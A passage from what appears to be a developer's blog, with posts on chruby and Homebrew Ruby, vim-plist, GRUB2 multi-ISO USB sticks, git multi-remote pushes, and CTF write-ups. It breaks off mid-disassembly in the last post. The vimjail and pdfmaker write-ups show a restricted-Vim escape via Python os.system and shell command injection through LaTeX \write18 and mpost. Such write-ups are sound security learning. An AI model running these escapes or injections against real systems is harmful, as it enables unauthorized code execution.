Yous

Integrate Homebrew Ruby with chruby

2019-01-15T16:34:26+00:00

For a while after switching from RVM to chruby, I’ve been quite satisfied with chruby, except for one thing. Every time Ruby releases a new version, I had to compile that version from scratch using ruby-install. It takes quite a long time, and I should do that on every macOS device I use.

Why should I compile?

I wanted to install pre-compiled Ruby. It should exist! Then I thought up Homebrew. Almost every formula of Homebrew has “bottles” for multiple versions of macOS. So I thought: ‘Just use Homebrew Ruby with chruby!’

Cleaning up

Homebrew Ruby is keg-only since 2.5.3, so if you had installed Homebrew Ruby earlier than or equal to 2.5.3, make sure to unlink it. Binaries of gems were placed under /usr/local/bin/, so they can make problems related to PATH.

brew unlink ruby

Integrating Homebrew Ruby with ruby-install

By default, ruby-install installs Rubies into ~/.rubies. If you install Ruby 2.6.0 using ruby-install ruby 2.6.0, then the Ruby goes to ~/.rubies/ruby-2.6.0. So what if we make a symbolic link under ~/.rubies pointing Homebrew Ruby?

ln -s "$(brew --prefix)/Cellar/ruby/2.6.0" ~/.rubies/ruby-2.6.0

Specify ruby-2.6.0 in ~/.ruby-version, and opening a new shell works like a charm!

$ chruby
 * ruby-2.6.0

Default gems

Although chruby sets $GEM_HOME and $GEM_PATH properly, Homebrew intentionally removes binaries of bundled gems on installation, so you have to install them using gem install.

gem install bundler
gem install irb

Updating Ruby

Not only when a new Ruby is released, but also Homebrew sometimes updates Ruby for a new revision. The symlink is based on the cellar, so the link should be updated.

ln -sfn "$(brew --prefix)/Cellar/ruby/2.6.0_1" ~/.rubies/ruby-2.6.0

No more compiling time!

How to open binary plist files using vim-plist

2018-12-02T08:42:47+00:00

Using macOS, you may have had experiences of handling plist files. For example, ~/Library/Preferences/.GlobalPreferences.plist file holds some configurations of macOS. When you type defaults write -g ApplePressAndHoldEnabled -bool false on terminal, the following lines are added to .GlobalPreferences.plist:

<key>ApplePressAndHoldEnabled</key>
<false/>

So when you dig down the preferences or resources of macOS system, you’ll meet plist files.

vim-plist

darfink’s vim-plist plugin handles *.plist files quite well. A plist file is in one of three formats; json, binary, xml. macOS is bundled with the plutil command that can convert a plist file from one format to another. The plugin also uses plutil to handle read and write of plist files.

The plugin registers autocmd for BufReadCmd and FileReadCmd to read *.plist files, BufWriteCmd and FileWriteCmd to write *.plist files. BufRead and BufWrite events are triggered after reading the file into the buffer, but BufReadCmd and BufWriteCmd events are triggered before reading the file, and that autocmd should handle actual read and write operation of that file. These differences make handling plist files more complex.

Problems

*.strings files

Overall, the plugin is quite useful and seamless. But recently, I found some *.strings plist files under /System/Library, almost of them in binary formats. The plugin registers autocmds only for *.plist files, so there is no chance to convert them to readable formats.

At first, I’ve considered to register an autocmd for *.strings file, but I’m not sure about that .strings extension is only used for plist file, and also there can be other extensions with plist contents (for example, *.nib files are plist, too).

Saving a new file

darfink’s vim-plist checks g:plist_save_format and b:plist_save_format before writing to plist files. The buffer-local variable is set when the plugin reads the file and detect the format. The global one is set by user, and overrides buffer-local one.

I don’t want the plugin to override the content of plist files with different format, so I haven’t set g:plist_save_format. Then the problem raised. Open a new plist file, like vim test.plist, and save it after editing. Then the plugin didn’t set b:plist_save_format because it’s a new file, and I also didn’t set g:plist_save_format, so the plugin don’t know the format to use for saving.

I think this problem can be solved by patching the plugin, but its last commit is pushed in 2014, which makes me use the faster way.

Incomplete plist files (Update: 2019-06-18)

vim-plist always uses plutil -convert command when opening plist files. But plutil checks whether the given file is valid or not. This leads to a problem when we have incomplete plist files. Say a plist file is tracked by git, and when there is a merge conflict, that plist file will contain SCM conflict markers.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<<<<<<< HEAD
    <key>other_content</key>
    <integer>4</integer>
=======
    <key>content</key>
    <integer>5</integer>
>>>>>>> master
    <key>test</key>
    <integer>3</integer>
</dict>
</plist>

With vim-plist, we will never be able to edit this file because vim-plist will refuse to load it into the buffer.

Solving the problems with .vimrc

Binary plist files

I decided to check if the file is binary plist file or not, and load with functions of vim-plist plugin. The checking process is easy, because the file starts with bplist. At first, I think it’s okay to register an autocmd for BufReadCmd because calling functions of the plugin should be easy. So my first try was:

function! s:DetectBinaryPlist()
  let l:filename = expand('<afile>')
  if filereadable(l:filename)
    let l:content = readfile(l:filename, 'b', 1)
    if len(content) > 0 && content[0] =~# '^bplist'
      return 1
    endif
  endif
  return 0
endfunction
autocmd BufReadCmd *
      \ if s:DetectBinaryPlist() |
      \   call plist#Read(1) |
      \   call plist#ReadPost() |
      \ endif

Can you see the problem? This makes Vim returns an empty buffer when it reads a file that’s not a binary plist file. As I said above, BufReadCmd should handle actual read and write operation of the file. If it’s not a binary plist file, Vim won’t read anything according to this code.

So I changed BufReadCmd to BufRead. This event happens after reading the file into the buffer, so I have to empty the buffer.

function! s:ConvertBinaryPlist()
  silent! execute '%d'
  call plist#Read(1)
  call plist#ReadPost()
endfunction
autocmd BufRead *
      \ if getline(1) =~# '^bplist' |
      \   call s:ConvertBinaryPlist() |
      \ endif

The getline(1) reads the first line of the buffer, and we can call it because it’s after reading the file. It’s working quite well, so at that time, I wanted to bring the writing functionality also.

function! s:ConvertBinaryPlist()
  silent! execute '%d'
  call plist#Read(1)
  call plist#ReadPost()

  autocmd! BufWriteCmd,FileWriteCmd <buffer>
  autocmd BufWriteCmd,FileWriteCmd <buffer>
        \ call plist#Write()
endfunction

Note that the autocmd! line means deleting every other BufWriteCmd and FileWriteCmd autocmds for that buffer, and the second line registers BufWriteCmd and FileWriteCmd for that buffer.

But when I saved after editing a *.strings file, I saw this error message:

<stdin>: Property List error: Unable to convert string to correct encoding / JSON error: JSON text did not start with array or object and option to allow fragments not set.

After poking around, I found that the fileencoding is set to latin1. The original file is binary and we just replaced the contents of the buffer, the fileencoding was not properly set. So I just set it to UTF-8.

function! s:ConvertBinaryPlist()
  silent! execute '%d'
  call plist#Read(1)
  call plist#ReadPost()
  set fileencoding=utf-8

  autocmd! BufWriteCmd,FileWriteCmd <buffer>
  autocmd BufWriteCmd,FileWriteCmd <buffer>
        \ call plist#Write()
endfunction

Saving a new file

It’s simple:

autocmd BufNewFile *.plist
      \ if !get(b:, 'plist_original_format') |
      \   let b:plist_original_format = 'xml' |
      \ endif

We don’t write binary file by our own hands, so a new plist file would be in xml format.

Disable `autocmd`s of vim-plist (Update: 2019-06-18)

I decided to remove default autocmds of vim-plist. The plist files I open or edit are either in XML format or binary format. When the file is in binary format, it’s handled by above vimrc. When the file is in XML format, it doesn’t need to be converted as I’ll save them in the same format.

let g:loaded_plist = 1
let g:plist_display_format = 'xml'
let g:plist_save_format = ''
let g:plist_json_filetype = 'json'

When g:loaded_plist exists, vim-plist will do nothing. In plugin/plist.vim, it registers autocmds and set default values to global variables. So here we set global variables of vim-plist. The default value of g:plist_json_filetype is 'javascript', but I set it to 'json' as Vim can handle that filetype.

Fix for editing a new file (Update: 2021-09-10)

As we disabled all autocmds of vim-plist, above “Saving a new file” section also doesn’t work. Instead of setting the b:plist_original_format variable, setting filetype to xml would be enough.

autocmd BufNewFile *.plist set filetype=xml

Also, there was an update to vim-plist, supporting plistutil and removing the g:plist_json_filetype variable.

Apply changes of vim-plist#5 (Update: 2022-04-09)

In this pull request, plist#BufReadCmd(), plist#FileReadCmd(), plist#BufWriteCmd(), and plist#FileWriteCmd() are added instead of plist#Read() and plist#Write() functions. So we apply that changes to the patch.

Conclusion

So this is the complete part of my .vimrc for binary plist files:

function! s:ConvertBinaryPlist()
  silent! execute '%d'
  call plist#BufReadCmd()
  set fileencoding=utf-8

  augroup BinaryPlistWrite
    autocmd! BufWriteCmd,FileWriteCmd <buffer>
    autocmd BufWriteCmd <buffer> call plist#BufWriteCmd()
    autocmd FileWriteCmd <buffer> call plist#FileWriteCmd()
  augroup END
endfunction
augroup BinaryPlistRead
  autocmd!
  autocmd BufRead *
        \ if getline(1) =~# '^bplist' |
        \   call s:ConvertBinaryPlist() |
        \ endif
  autocmd BufNewFile *.plist set filetype=xml
augroup END
" Disable default autocmds
let g:loaded_plist = 1
let g:plist_display_format = 'xml'
let g:plist_save_format = ''

It’s also available on GitHub, you can visit my dotfiles repository!

How to make a bootable USB with GRUB2 and ISO

2017-11-14T03:23:14+00:00

Do you have multiple ISO files to install, with quite enough storage of USB stick? You’ll want to install all of them with a single USB stick. Here’s how.

Formatting USB disk

First, plug in your USB stick and find it from your Linux machine:

$ sudo fdisk -l
Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x4d149927

Device     Boot    Start      End  Sectors  Size Id Type
/dev/sda1  *        2048 39845887 39843840   19G 83 Linux
/dev/sda2       39847934 41940991  2093058 1022M  5 Extended
/dev/sda5       39847936 41940991  2093056 1022M 82 Linux swap / Solaris


Disk /dev/sdb: 14.6 GiB, 15664676864 bytes, 30595072 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 4788154A-7BD2-4A06-945B-5980E828C8C5

Device      Start      End  Sectors  Size Type
/dev/sdb1      40   409639   409600  200M EFI System
/dev/sdb2  411648 30593023 30181376 14.4G Microsoft basic data

In my case, it’s /dev/sdb. Let’s format it with fdisk. When you run fdisk /dev/sdb, you can print help menu:

$ sudo fdisk /dev/sdb

Welcome to fdisk (util-linux 2.27.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.


Command (m for help): m

Help:

  Generic
   d   delete a partition
   F   list free unpartitioned space
   l   list known partition types
   n   add a new partition
   p   print the partition table
   t   change a partition type
   v   verify the partition table
   i   print information about a partition

  Misc
   m   print this menu
   x   extra functionality (experts only)

  Script
   I   load disk layout from sfdisk script file
   O   dump disk layout to sfdisk script file

  Save & Exit
   w   write table to disk and exit
   q   quit without saving changes

  Create a new label
   g   create a new empty GPT partition table
   G   create a new empty SGI (IRIX) partition table
   o   create a new empty DOS partition table
   s   create a new empty Sun partition table

Now we can start!

$ sudo fdisk /dev/sdb

Welcome to fdisk (util-linux 2.27.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.


Command (m for help): o
Created a new DOS disklabel with disk identifier 0x8c9faeb0.

Command (m for help): n
Partition type
   p   primary (0 primary, 0 extended, 4 free)
   e   extended (container for logical partitions)
Select (default p):

Using default response p.
Partition number (1-4, default 1):
First sector (2048-30595071, default 2048):
Last sector, +sectors or +size{K,M,G,T,P} (2048-30595071, default 30595071):

Created a new partition 1 of type 'Linux' and of size 14.6 GiB.

Command (m for help): t
Selected partition 1
Partition type (type L to list all types): c
Changed type of partition 'Linux' to 'W95 FAT32 (LBA)'.

Command (m for help): a
Selected partition 1
The bootable flag on partition 1 is enabled now.

Command (m for help): w
The partition table has been altered.
Calling ioctl() to re-read partition table.
Syncing disks.

We’ve just created one bootable FAT partition, and that’ll be /dev/sdb1. Let’s create an MS-DOS filesystem in it. This will take a while.

$ sudo mkfs.vfat -F 32 /dev/sdb1
mkfs.fat 3.0.28 (2015-05-16)

Now you can mount that partition and we’re ready to install GRUB2 in it.

sudo mkdir /mnt/usb
sudo mount /dev/sdb1 /mnt/usb

Installing GRUB2

Since we’re installing GRUB2 into USB stick, we specify --removable flag. Also specify --boot-directory so that GRUB2 is installed to there instead of /boot/grub.

$ sudo grub-install --removable --boot-directory=/mnt/usb/boot /dev/sdb
Installing for i386-pc platform.
Installation finished. No error reported.

We’ll add grub.cfg file under /mnt/usb/boot/grub/ directory. It defines selectable menus and the booting method of each entry. This time I’ll add Ubuntu Desktop ISO for i386 platform.

set timeout=5
set default=0

menuentry "Ubuntu Desktop 16.04.3 LTS i386" {
  set isofile="/iso/ubuntu-16.04.3-desktop-i386.iso"
  loopback loop $isofile
  linux (loop)/casper/vmlinuz boot=casper file=/preseed/ubuntu.seed iso-scan/filename=$isofile noeject noprompt splash --
  initrd (loop)/casper/initrd.lz
}

menuentry "Ubuntu Desktop 16.04.3 LTS amd64" {
  set isofile="/iso/ubuntu-16.04.3-desktop-amd64.iso"
  loopback loop $isofile
  linux (loop)/casper/vmlinuz.efi boot=casper file=/preseed/ubuntu.seed iso-scan/filename=$isofile noeject noprompt splash --
  initrd (loop)/casper/initrd.lz
}

menuentry "Ubuntu Server 16.04.3 LTS i386" {
  set isofile="/iso/ubuntu-16.04.3-server-i386.iso"
  loopback loop $isofile
  linux (loop)/install/vmlinuz boot=casper file=/preseed/ubuntu-server.seed iso-scan/filename=$isofile noeject noprompt splash --
  initrd (loop)/install/initrd.gz
}

menuentry "Ubuntu Server 16.04.3 LTS amd64" {
  set isofile="/iso/ubuntu-16.04.3-server-amd64.iso"
  loopback loop $isofile
  linux (loop)/install/vmlinuz boot=casper file=/preseed/ubuntu-server.seed iso-scan/filename=$isofile noeject noprompt splash --
  initrd (loop)/install/initrd.gz
}

menuentry "Linux Mint 18.2 Cinnamon 32-bit" {
  set isofile="/iso/linuxmint-18.2-cinnamon-32bit.iso"
  loopback loop $isofile
  linux (loop)/casper/vmlinuz boot=casper file=/preseed/linuxmint.seed iso-scan/filename=$isofile noeject noprompt splash --
  initrd (loop)/casper/initrd.lz
}

menuentry "Custom ELF" {
  elffile="/elf/custom.elf"
  multiboot $elffile
}

In the first menuentry, isofile points to /iso/ubuntu-16.04.3-desktop-i386.iso, and it’s relative path of the USB stick. Create /mnt/usb/iso/ directory, and put the ISO files under there.

You may need to look inside of ISO file to find where is vmlinuz* and initrd.* files. Try this:

isoinfo -l -i myimage.iso

As the similar way, you can also make it to boot from ELF file. Just put the ELF file that supports Multiboot under /mnt/usb/elf/ directory, and edit the menuentry properly.

After editing is done, unmount the disk and use it right away!

sudo umount /dev/sdb1

Troubleshooting

If your screen goes black on boot, try with nomodeset:

linux ... noeject noprompt splash nomodeset --

Pushing git repository to multiple remotes

2017-03-07T12:26:59+00:00

I’m currently managing my dotfiles repository on both of GitHub and Bitbucket. These two repositories are the same, but I don’t want to remove one of them. I mainly use GitHub for hosting code now, but the first place I uploaded my dotfiles to was Bitbucket.

I want to keep the HEAD of two remote repositories be the same, so when I push code to my dotfiles, the both of them must be updated at the same time.

Default git config

First, clone or init the repository.

git clone https://github.com/yous/dotfiles.git

Then, as you know, the origin will be set to https://github.com/yous/dotfiles.git. This is the content of .git/config:

[core]
	# ...
[remote "origin"]
	url = https://github.com/yous/dotfiles.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
	# ...

Note that there is the url attribute under remote "origin".

git remote set-url

Now we’re going to run git remote set-url twice so that the repository will have two push remote URLs. Setting push remote URL is slightly different from plaing git remote set-url <name> <newurl>. See man git-remote:

set-url
    Changes URLs for the remote. Sets first URL for remote <name> that
    matches regex <oldurl> (first URL if no <oldurl> is given) to
    <newurl>. If <oldurl> doesn't match any URL, an error occurs and
    nothing is changed.

    With --push, push URLs are manipulated instead of fetch URLs.

    With --add, instead of changing existing URLs, new URL is added.

So we need to run git remote set-url --push <name> <newurl>. Moreover, we need two push URL, so the second command should be git remote set-url --add --push <name> <newurl>. It’s okay to specify --add --push to the first command, too.

git remote set-url --add --push origin https://github.com/yous/dotfiles.git
git remote set-url --add --push origin https://bitbucket.org/yous/dotfiles.git

Now, the content of .git/config would be like this:

[core]
	# ...
[remote "origin"]
	url = https://github.com/yous/dotfiles.git
	fetch = +refs/heads/*:refs/remotes/origin/*
	pushurl = https://github.com/yous/dotfiles.git
	pushurl = https://bitbucket.org/yous/dotfiles.git
[branch "master"]
	# ...

All done! Note that there are two pushurls under remote "origin". Now git push automatically pushes to the both push remote URLs.

Boston Key Party CTF 2017: vimjail write-up

2017-03-01T09:34:52+00:00

vimjail (pwn 150)

ssh ctfuser@ec2-54-200-176-5.us-west-2.compute.amazonaws.com

password: loginPWforVimJail

Can you read the flag?

UPDATES

(13:38 UTC Saturday): The flag is not in /tmp.

(13:31 EST Saturday): new ip

Looking around

Well, you would do ls first when you logged in, so do we. And there was ~/flagReader.

ctfuser@ip-172-31-31-196:~$ ls -als /home/ctfuser/flagReader
12 ---S--x--- 1 topsecretuser secretuser 8768 Feb 25 08:42 /home/ctfuser/flagReader

If you try completion by pressing Tab key or try to move around using cd, it fails with an error message from rbash. It’s restricted bash, but you can simply run bash to escape.

While moving around, we found nothing special without /.flag. Also there were some .s[a-z][a-z] files under /var/tmp/ and /tmp/, created by secretuser. But there are not in fixed location when the problem server was changed, so we thought there would be a way to run Vim under secretuser’s permission.

ctfuser@ip-172-31-31-196:~$ ls -als /.flag
4 -r-------- 1 topsecretuser topsecretuser 39 Feb 25 08:42 /.flag

We also tried to find setuid or setgid files, but there was only the previous flagReader.

ctfuser@ip-172-31-31-196:/tmp$ find / -perm -4000 -o -perm -2000 -type f 2>/dev/null
/bin/ping
/bin/ping6
/bin/fusermount
/bin/umount
/bin/su
/bin/mount
/bin/ntfs-3g
/sbin/unix_chkpwd
/sbin/pam_extrausers_chkpwd
/usr/lib/x86_64-linux-gnu/utempter/utempter
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/crontab
/usr/bin/newuidmap
/usr/bin/at
/usr/bin/chage
/usr/bin/sudo
/usr/bin/bsd-write
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/expiry
/usr/bin/newgrp
/usr/bin/screen
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/ssh-agent
/usr/bin/passwd
/usr/bin/mlocate
/home/ctfuser/flagReader

Jump into Vim

Suddenly @zzoru mentioned that we can run sudo -u secretuser /usr/bin/rvim. Later, I learned that sudo has -l, --list option:

-l, --list  If no command is specified, list the allowed (and
            forbidden) commands for the invoking user (or the user
            specified by the -U option) on the current host.  A longer
            list format is used if this option is specified multiple
            times and the security policy supports a verbose output
            format.

So now we’re able to run Vim under secretuser’s permission!

rvim

So, what’s rvim? You can see the description of it by typing :help rvim in Vim:

rvim    vim -Z      Like "vim", but in restricted mode (see |-Z|)   *rvim*

Again, :help -Z:

                                                *-Z* *restricted-mode* *E145*
-Z              Restricted mode.  All commands that make use of an external
                shell are disabled.  This includes suspending with CTRL-Z,
                ":sh", filtering, the system() function, backtick expansion,
                delete(), rename(), mkdir(), writefile(), libcall(),
                job_start(), etc.
                {not in Vi}

Yes, it’s the Vim version of rbash. We can’t run :!/home/ctfuser/flagReader, or :set shell=/home/ctfuser/flagReader | shell in restricted mode. Well, this is the main content of vimjail.

Jailbreak

Seeing :version, we found that it has extra patch 8.0.0056, so CVE-2016-1248 exploiting modeline would also not work. However, it’s containing +python3 support. So first we tried to execute Python with something like :python3 print(1). And that worked!

We just executed flagReader:

:python3 import os; os.system('/home/ctfuser/flagReader')

Then it prints the flag. So the flag is flag{rVim_is_no_silverbullet!!!111elf}.

33C3 CTF 2016: pdfmaker write-up

2017-02-20T02:21:38+00:00

pdfmaker (misc 75)

Just a tiny application, that lets the user write some files and compile them with pdflatex. What can possibly go wrong?

nc 78.46.224.91 24242

If you can’t download the application, please use this link.

What is the goal?

There are some interesting parts in pdfmaker_public.py. initConnection copies flag file into the self.directory with the name of:

"33C3" + "%X" % randint(0, 2**31) + "%X" % randint(0, 2**31)

Since the answer would be in the 33C3XXXXXXXXXXXXXXXX file, we should get the list of filenames in its directory. Note that create method can create log, tex, sty, mp, bib files.

Behavior of `\write18`

@daehee found this helpful link: “Pwning coworkers thanks to LaTeX”. According to the post, \write18 normally executes any program listed in shell_escape_commands:

shell_escape_commands = \
bibtex,bibtex8,\
extractbb,\
kpsewhich,\
makeindex,\
mpost,\
repstopdf,\

Note that mpost is in there, and we can create mp file! As denoted by the link, mpost takes the -tex option for text labels, so we can execute arbitrary program.

Exploitation

I’ll explain the exploitation step by step.

At first, we create a tex file that executes mpost on compilation. Note that we specified bash -c ls>c.log to the -tex option.

> create tex x
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c ls>c.log" "x.mp"}
\end{document}
\q

Now we create a mp file.

> create mp x
verbatimtex
\documentclass{minimal}\begin{document}
etex beginfig (1) label(btex blah etex, origin);
endfig; \end{document} bye
\q

Then compile the previous tex file to invoke the ls command.

> compile x

Then we get the list of filename in the directory.

> show log c
33C3566BA1153C636C68
c.log
makempx.log
mpxxZmwh.tex
x.aux
x.log
x.mp
x.tex

We have to read the content of 33C3566BA1153C636C68 file, so let’s create one more tex file. bash -c (cat${IFS}33C3566BA1153C636C68)>d.log will be executed on compilation.

> create tex y
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (cat${IFS}33C3566BA1153C636C68)>d.log" "x.mp"}
\end{document}
\q

Then compile it.

> compile y

So we can read the log.

> show log d
33C3_pdflatex_1s_t0t4lly_s3cur3!

So the flag is 33C3_pdflatex_1s_t0t4lly_s3cur3!.

HITCON CTF 2016: ROP write-up

2016-10-11T08:25:35+00:00

ROP (Reverse 250)

Description

Who doesn’t like ROP?
Let’s try some new features introduced in 2.3.

rop.iseq

Hint

None

If the above link doesn’t work, please use this link.

New features?

Well, see the Ruby 2.3.0 news.

RubyVM::InstructionSequence#to_binary and .load_from_binary are introduced as experimental features. With these features, we can make a ISeq (bytecode) pre-compilation system.

Yes, so this is about using RubyVM::InstructionSequence.load_from_binary. Let’s just start with:

RubyVM::InstructionSequence.load_from_binary(File.read('rop.iseq'))

But you can face this kind of error:

RuntimeError: unmatched platform
        from (irb):1:in `load_from_binary'
        from (irb):1
        from /usr/bin/irb:11:in `<main>'

By checking strings rop.iseq, we can find x86_64-linux. So we need Ruby 2.3 on Linux x86_64 platform. You can see the platform by ruby --version. This is the version of my one:

ruby 2.3.1p112 (2016-04-26 revision 54768) [x86_64-linux]

Disassembling

Once the binary is loaded by .load_from_binary, we can get the instruction sequence as a String by #disasm:

puts RubyVM::InstructionSequence.load_from_binary(File.read('rop.iseq')).disasm

Then you get a readable instruction sequence!

== disasm: #<ISeq:<compiled>@<compiled>>================================
== catch table
| catch type: break  st: 0096 ed: 0102 sp: 0000 cont: 0102
| catch type: break  st: 0239 ed: 0245 sp: 0000 cont: 0245
|------------------------------------------------------------------------
local table (size: 3, argc: 0 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1])
[ 3] k          [ 2] xs
trace            1                                               (   1)
putself
putstring        "digest"
opt_send_without_block <callinfo!mid:require, argc:1, FCALL|ARGS_SIMPLE>, <callcache>
pop
trace            1                                               (   2)
putself
putstring        "prime"
opt_send_without_block <callinfo!mid:require, argc:1, FCALL|ARGS_SIMPLE>, <callcache>
pop
trace            1                                               (   4)
putspecialobject 3
putnil
defineclass      :String, <class:String>, 0
pop
trace            1                                               (  22)
putspecialobject 1
putobject        :gg
putiseq          gg
opt_send_without_block <callinfo!mid:core#define_method, argc:2, ARGS_SIMPLE>, <callcache>
pop
trace            1                                               (  27)
putspecialobject 1
putobject        :f
putiseq          f
opt_send_without_block <callinfo!mid:core#define_method, argc:2, ARGS_SIMPLE>, <callcache>
pop
trace            1                                               (  38)
getglobal        $stdin
opt_send_without_block <callinfo!mid:gets, argc:0, ARGS_SIMPLE>, <callcache>
opt_send_without_block <callinfo!mid:chomp, argc:0, ARGS_SIMPLE>, <callcache>
setlocal_OP__WC__0 3
trace            1                                               (  39)
getlocal_OP__WC__0 3
putstring        "-"
opt_send_without_block <callinfo!mid:split, argc:1, ARGS_SIMPLE>, <callcache>
setlocal_OP__WC__0 2
trace            1                                               (  40)
getlocal_OP__WC__0 2
opt_size         <callinfo!mid:size, argc:0, ARGS_SIMPLE>, <callcache>
putobject        5
opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
branchif         94
putself
opt_send_without_block <callinfo!mid:gg, argc:0, FCALL|VCALL|ARGS_SIMPLE>, <callcache>
pop
trace            1                                               (  41)
getlocal_OP__WC__0 2
send             <callinfo!mid:all?, argc:0>, <callcache>, block in <compiled>
branchif         109
putself
opt_send_without_block <callinfo!mid:gg, argc:0, FCALL|VCALL|ARGS_SIMPLE>, <callcache>
pop
trace            1                                               (  42)
getlocal_OP__WC__0 2
putobject_OP_INT2FIX_O_0_C_
opt_aref         <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache>
putobject        16
opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache>
putobject        31337
opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
branchif         134
putself
opt_send_without_block <callinfo!mid:gg, argc:0, FCALL|VCALL|ARGS_SIMPLE>, <callcache>
pop
trace            1                                               (  43)
getlocal_OP__WC__0 2
putobject_OP_INT2FIX_O_1_C_
opt_aref         <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache>
opt_send_without_block <callinfo!mid:reverse, argc:0, ARGS_SIMPLE>, <callcache>
putstring        "FACE"
opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
branchif         157
putself
opt_send_without_block <callinfo!mid:gg, argc:0, FCALL|VCALL|ARGS_SIMPLE>, <callcache>
pop
trace            1                                               (  44)
putself
putobject        217
getlocal_OP__WC__0 2
putobject        2
opt_aref         <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache>
putobject        16
opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache>
putobject        314159
opt_send_without_block <callinfo!mid:f, argc:3, FCALL|ARGS_SIMPLE>, <callcache>
putobject        28
opt_send_without_block <callinfo!mid:to_s, argc:1, ARGS_SIMPLE>, <callcache>
opt_send_without_block <callinfo!mid:upcase, argc:0, ARGS_SIMPLE>, <callcache>
putstring        "48D5"
opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
branchif         199
putself
opt_send_without_block <callinfo!mid:gg, argc:0, FCALL|VCALL|ARGS_SIMPLE>, <callcache>
pop
trace            1                                               (  45)
getlocal_OP__WC__0 2
putobject        3
opt_aref         <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache>
putobject        10
opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache>
opt_send_without_block <callinfo!mid:prime_division, argc:0, ARGS_SIMPLE>, <callcache>
putobject        :first
send             <callinfo!mid:map, argc:0, ARGS_BLOCKARG>, <callcache>, nil
opt_send_without_block <callinfo!mid:sort, argc:0, ARGS_SIMPLE>, <callcache>
duparray         [53, 97]
opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
branchif         237
putself
opt_send_without_block <callinfo!mid:gg, argc:0, FCALL|VCALL|ARGS_SIMPLE>, <callcache>
pop
trace            1                                               (  46)
getlocal_OP__WC__0 2
send             <callinfo!mid:map, argc:0>, <callcache>, block in <compiled>
putobject        :^
opt_send_without_block <callinfo!mid:inject, argc:1, ARGS_SIMPLE>, <callcache>
opt_send_without_block <callinfo!mid:to_s, argc:0, ARGS_SIMPLE>, <callcache>
opt_send_without_block <callinfo!mid:sha1, argc:0, ARGS_SIMPLE>, <callcache>
putstring        "947d46f8060d9d7025cc5807ab9bf1b3b9143304"
opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
branchif         268
putself
opt_send_without_block <callinfo!mid:gg, argc:0, FCALL|VCALL|ARGS_SIMPLE>, <callcache>
pop
trace            1                                               (  48)
putself
putobject        "Congratz! flag is "
putstring        "bce410e85433ba94f0d832d99556f9764b220eeda7e807fe4938a5e6effa7d83c765e1795b6c26af8ad258f6"
opt_send_without_block <callinfo!mid:dehex, argc:0, ARGS_SIMPLE>, <callcache>
getlocal_OP__WC__0 3
opt_send_without_block <callinfo!mid:sha1, argc:0, ARGS_SIMPLE>, <callcache>
opt_send_without_block <callinfo!mid:dehex, argc:0, ARGS_SIMPLE>, <callcache>
opt_send_without_block <callinfo!mid:^, argc:1, ARGS_SIMPLE>, <callcache>
tostring
concatstrings    2
opt_send_without_block <callinfo!mid:puts, argc:1, FCALL|ARGS_SIMPLE>, <callcache>
leave
== disasm: #<ISeq:<class:String>@<compiled>>============================
trace            2                                               (   4)
trace            1                                               (   5)
putspecialobject 1
putobject        :^
putiseq          ^
opt_send_without_block <callinfo!mid:core#define_method, argc:2, ARGS_SIMPLE>, <callcache>
pop
trace            1                                               (   9)
putspecialobject 1
putobject        :sha1
putiseq          sha1
opt_send_without_block <callinfo!mid:core#define_method, argc:2, ARGS_SIMPLE>, <callcache>
pop
trace            1                                               (  13)
putspecialobject 1
putobject        :enhex
putiseq          enhex
opt_send_without_block <callinfo!mid:core#define_method, argc:2, ARGS_SIMPLE>, <callcache>
pop
trace            1                                               (  17)
putspecialobject 1
putobject        :dehex
putiseq          dehex
opt_send_without_block <callinfo!mid:core#define_method, argc:2, ARGS_SIMPLE>, <callcache>
trace            4                                               (  20)
leave                                                            (  17)
== disasm: #<ISeq:^@<compiled>>=========================================
== catch table
| catch type: break  st: 0004 ed: 0015 sp: 0000 cont: 0015
|------------------------------------------------------------------------
local table (size: 2, argc: 1 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1])
[ 2] other<Arg>
trace            8                                               (   5)
trace            1                                               (   6)
putself
opt_send_without_block <callinfo!mid:bytes, argc:0, ARGS_SIMPLE>, <callcache>
opt_send_without_block <callinfo!mid:map, argc:0, ARGS_SIMPLE>, <callcache>
send             <callinfo!mid:with_index, argc:0>, <callcache>, block in ^
putstring        "C*"
